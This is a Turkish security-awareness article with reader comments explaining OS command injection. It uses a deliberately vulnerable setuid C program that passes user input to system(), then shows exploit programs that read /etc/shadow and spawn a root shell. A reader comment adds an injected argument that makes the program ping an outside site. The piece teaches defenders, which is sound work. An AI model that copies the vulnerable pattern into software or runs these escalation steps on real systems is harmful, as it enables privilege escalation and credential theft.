spacer.png, 0 kB
Bilgi için: bilgi at bilgiguvenligi gov tr   

 

spacer.png, 0 kB
spacer.png, 0 kB
İşletim Sistemleri Komut Enjeksiyonu Zayıflıkları Yazdır E-posta
Yasin SÜRER, Fatih Üniversitesi   
24.04.2009

Geçtiğimiz günlerde, Amerikan Ulusal Güvenlik Teşkilatı (NSA) çeşitli güvenlik firmalarıyla ortaklaşa yaptığı bir araştırmanın istatistiksel sonuçlarını duyurdu. Araştırmada programcılardan kaynaklanan en tehlikeli 25 hata yer aldı. "İşletim Sistemleri Komut Enjeksiyonu" zayıflığı bu listenin 5. sırasında ve risk seviyesi yüksek olarak işaretlenmiş. Bu yazıda, söz konusu zayıflığın nasıl oluştuğu ve engellenmesi için neler yapılması gerektiği anlatılacaktır.

Nedir ve Nasıl Çalışır ?

Zaman zaman yazılımlarda, çeşitli fonksiyonları yerine getirmek için harici bir yazılım (komut/modül) çağırmak gerekebiliyor.Örnek olarak Linux, Solaris, BSD, Plan9 gibi sistemler üzerinde ki watch, time vb. komutlar verilebilir.Söz konusu hatanın kurbanı olmak, hemen her programlama dilinde (JAVA,Assembly, C/C++ vb...) ve hemen her işletim sisteminde mümkün ve bu zayıflık sayesinde lokal bir kullanıcı, yetkisini en üst düzeye yükseltebilir veya komutlar çalıştırabilir. 

Öncelikle senaryo şu olsun, yazdığınız bir yazılım "root" yetkisiyle sisteme kurulmuş,  ve yazdığınız yazılımın çeşitli fonksiyonları yerine getiren alt yazılımları/moduler var ana programınızda Linux'ta hazır bulunan ve belirtilen yazılımın işlem hızını gösteren "time" komutunu kullanarak ana programınızdan alt programların işlem hızını göstermek istiyorsunuz.Aşağıda ki, söz konusu zayıflığı barındıran kodu bunu yapan kod parçası olarak düşünün.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char komut[256];
if(argc<2)
{
printf("Hata: islem hizini ogrenmek istediginiz programi girin!\n");
}
memset(&komut,0,sizeof(komut));
strcat(komut, "time ./");
strcat(komut,argv[1]);
system(komut);
return 0;
}

Hatayı barındıran kodumuzu derliyoruz ve programımızın haklarını değiştiriyoruz, senaryomuza göre, varsayalım ki programımız "root" haklarıyla yani en üst düzey kullanıcı haklarıyla çalışıyor.

murderkey@labs:~$ cc vuln.c -o vuln
root@lab:~# chown root.root vuln
root@lab:~# chmod +s vuln
root@lab:~# exit
murderkey@labs:~$

Yukarda ne yaptık? Öncelikle programımızı derledik hemen ardından kullanıcı sahibini değiştirdik ve onun ardından da "+s" parametresi ile program calıştığı sürece calışanın o haklara sahip olmasını sağladık. Devam edelim ve  programımızı çalıştıralım, bakalım istediğimiz gerçekleşiyor mu? Ondan önce, ben ekrana basitçe "Merhaba Dünya" mesajini basan bir kod yazdım ve derledim amacim bu programın işlem hızını ögrenmek.

murderkey@lab:~$ ./vuln helloworld
Merhaba dunya
real 0m0.002s
user 0m0.000s
sys  0m0.000s
murderkey@lab:~$

Bir programcı klasiği olan merhaba dünya adlı ufak bir yazılım yazdık ve vuln adlı yazılımımızı hatırlıyorsanız parametre olarak girilen yazılımların çalışma hızını gösteriyordu, bizde parametre olarak Merhaba Dünya yazan programımızın çalışma hızını öğrenmek istedik.Buraya kadar yazılımımız sorunsuz çalıştı görünürde hiçbirşey yok. Kodumuz bu haliyle gayet masum görünüyor fakat programa verilen girdilerde daha farklı davranan bir kullanıcı, programında farklı davranmasına sebep olacaktır.

Biz burada helloworld adlı kod yerine başka birşey calıştırsak ne olurdu? Örneğin, cat /etc/shadow adlı komutu çalıştıran veya bize yeni bir shell (kabuk) açan ufak bir kod yazsak ne olur ? Görmek için devam edelim ve C dilinde belirtilen komutları işleyen bir kod yazalım.

main(void)
{
system("cat /etc/shadow");
return 0;
}
murderkey@lab:~$ cc exp1.c -o exp1
murderkey@lab:~$ ./vuln exp1
...
sync:*:14062:0:99999:7:::
games:*:14062:0:99999:7:::
man:*:14062:0:99999:7:::
lp:*:14062:0:99999:7:::
mail:*:14062:0:99999:7:::
news:*:14062:0:99999:7:::
uucp:*:14062:0:99999:7:::
...
real 0m0.003s
user 0m0.000s
sys  0m0.000s
murderkey@lab:~$

Aklımıza gelen fikir kusursuz işe yaradı. Normal şartlar altında sistemde ki kullanıcıların (user) kullandığı şifreleri ancak "root" yetkisine sahipseniz görebilirsiniz (istisnalar hariç tabii) ama hatırlayın zayıflığa sahip programımız üzerinden bir kod çalıştırdık ve zayıflığa sahip yazılım root yetkileriyle çalışıyor bundan dolayı normal kullanıcı yetkilerine sahip bir kodu root yetkisiyle çalıştırmayı başardık.

Şimdi biraz daha ileri gidelim ve root yetkilerine sahip bir shell açmaya çalışarak sistemde ki erişim seviyemizi en üst düzeye çekmeye çalışalım, aynı şekilde "cat /etc/shadow" komutunu çalıştıran kodumuzun tek satırını değiştirerek derliyoruz.

main(void)
{
system("/bin/sh");
return 0;
}
murderkey@lab:~$ cc exp2.c -o exp2
murderkey@lab:~$ ./vuln exp2
real 0m0.002
user 0m0.000
sys  0m0.000
root@lab:~# id
uid=0(root) gid=0(root) groups=0(root)

Sonuç:

Görüldüğü gibi tek satırı değiştirerek programımızdaki zayıflık sayesinde  sistemde en üst düzey kullanıcı yetkisi yani "root" yetkisine ulaştık.Sanırım NSA yaptığı araştırmada sistemlere zarar veren en tehlikeli 25 açık arasında 5. sıraya yazımızın konusu olan Komut Enjeksiyonu hatasını koymakla hata yapmamış.Çok basit ve gözden kaçması kolay olan fakat risk seviyesi oldukça yüksek bir hata, çeşitli filtrelemelerle veya kullanıcı haklarının iyi ayarlanması (gerekli fonksiyolar kullanilarak) söz konusu sorun basitçe aşılabilir.Benim amacım, bu yazıda durumun ciddiyetini programcılara göstermek fakat talebe bağlı olarak çeşitli yazılım açıklarının (Buffer Overflow, Format String vs) nasıl engellenebileceğine dair ufak bir yazı yazılabilir. Umarım bu yazı konunun ciddiyeti hakkında kafanızda bir şeylerin oluşmasına yardımcı olmuştur.Yazıda herhangi bir hata veya atladığım nokta olduğunu düşünüyorsanız iletişime geçerek yardımcı olabilirsiniz ve tabii bunun için üzgünüm.

Not: Bugüne kadar yaptıkları olumlu eleştiriler/yönlendirmeler için Celil Ünüver'e teşekkür ederim.

Referanslar

[1] CWE/SANS TOP 25 Most Dangerous Programming Errors http://www.sans.org/top25errors

[2] Phrack #59: Runtime Process infection http://www.phrack.org/issues.html?issue=59&id=8#article

[3] Princible of Least Privilege http://www.hellcode.net/ppe.txt

[4] FreeBSD Telnet Daemon Zero-Day (Yazının yazılmasından bir gün sonra) http://blog.lifeoverip.net/2009/02/15/freebsd-telnet-daemon-zero-day-acikligi/


Favori olarak ekle (0) | Görüntüleme sayısı: 2080

Yorumlar (3)
1. 27-04-2009 21:27
 
oncelikle, asil ilgi gosterdiginiz icin ben size tesekkur ederim... 
 
bazi istisnai durumlar disinda soylediklerinize katiliyorum..ama bazi kodlarda bazi icerikler filtrelenebiliyor ayrica tek satirda veya onlarca satirda exploit etme olayi olabiliyor...ona pek deginmedim ki sizin dikkat cekmeniz iyi oldu...ben genel olarak anlatmaya calistim.. 
 
katkiniz icin tesekkurler... 
 
iyi calismalar..
 
Yasin SÜRER
2. 26-04-2009 20:21
 
Güzel bir konuyu işlemişsiniz, paylaştığınız için teşekkürler.  
 
Aslında vuln.c isimli C kodunun içerdiği zafiyeti başka bir program üretmeden de exploit edebilirdik (özellikle sisteme erişimimiz olmadığı durumlarda; mesela web üzerinden bu daha çok işimize yarayabilir) bunu paylaşmak istedim. Mesela; 
 
./vuln "nokta nokta/nokta nokta/nokta nokta/nokta nokta/nokta nokta/bin/p_i_n_g www.webguvenligi.org" 
 
(nokta nokta yerlerini .. ile değiştiriniz. Ayrıca p_i_n_g'de bildiğiniz komut. Sitedeki WAF sağlam ayarlanmış :)) 
 
programın siteye icmp paketleri göndermesine yol açacaktır: 
 
PING www.webguvenligi.org (207.192.74.193) 56(84) bytes of data. 
64 bytes from www.webguvenligi.org (207.192.74.193): icmp_seq=1 ttl=64 time=0.035 ms 
64 bytes from www.webguvenligi.org (207.192.74.193): icmp_seq=2 ttl=64 time=0.050 ms 
 
--- www.webguvenligi.org ping statistics --- 
2 packets transmitted, 2 received, 0% packet loss, time 1000ms 
rtt min/avg/max/mdev = 0.035/0.042/0.050/0.009 ms 
 
real 0m1.473s 
user 0m0.000s 
sys 0m0.002s 
 
gibi.  
 
Diğer başka işletim sistemi komut çalıştırma kod örnekleri için; 
 
http://www.webguvenligi.org/belgeler 
 
altında yer alan 
 
http://docs.google.com/View?docid=dgqzqj5d_38cn7xb4fs  
 
belgesi de incelenebilir. Teknik yazı için tekrar teşekkürler.
 
Bedirhan Urgun
3. 24-04-2009 11:35
 
kardeşim çalışmalarını gururla takip ediyoruz. inş. hep birlikte daha güzel yerlere gelicez. başarılarının devamını dilerim..
 
M.Murat ARSLANER

Sadece kayıtlı kullanıcılar yorum yazabilir.
Lütfen sisteme giriş yapın veya kayıt olun.

 
spacer.png, 0 kB
spacer.png, 0 kB
Copyright 2012 TÜBİTAK-BİLGEM. Sitenin teknik altyapısında Joomla kullanılmıştır. Yazar ve site referans gösterilmeden alıntı yapılamaz. Görüşleriniz
spacer.png, 0 kB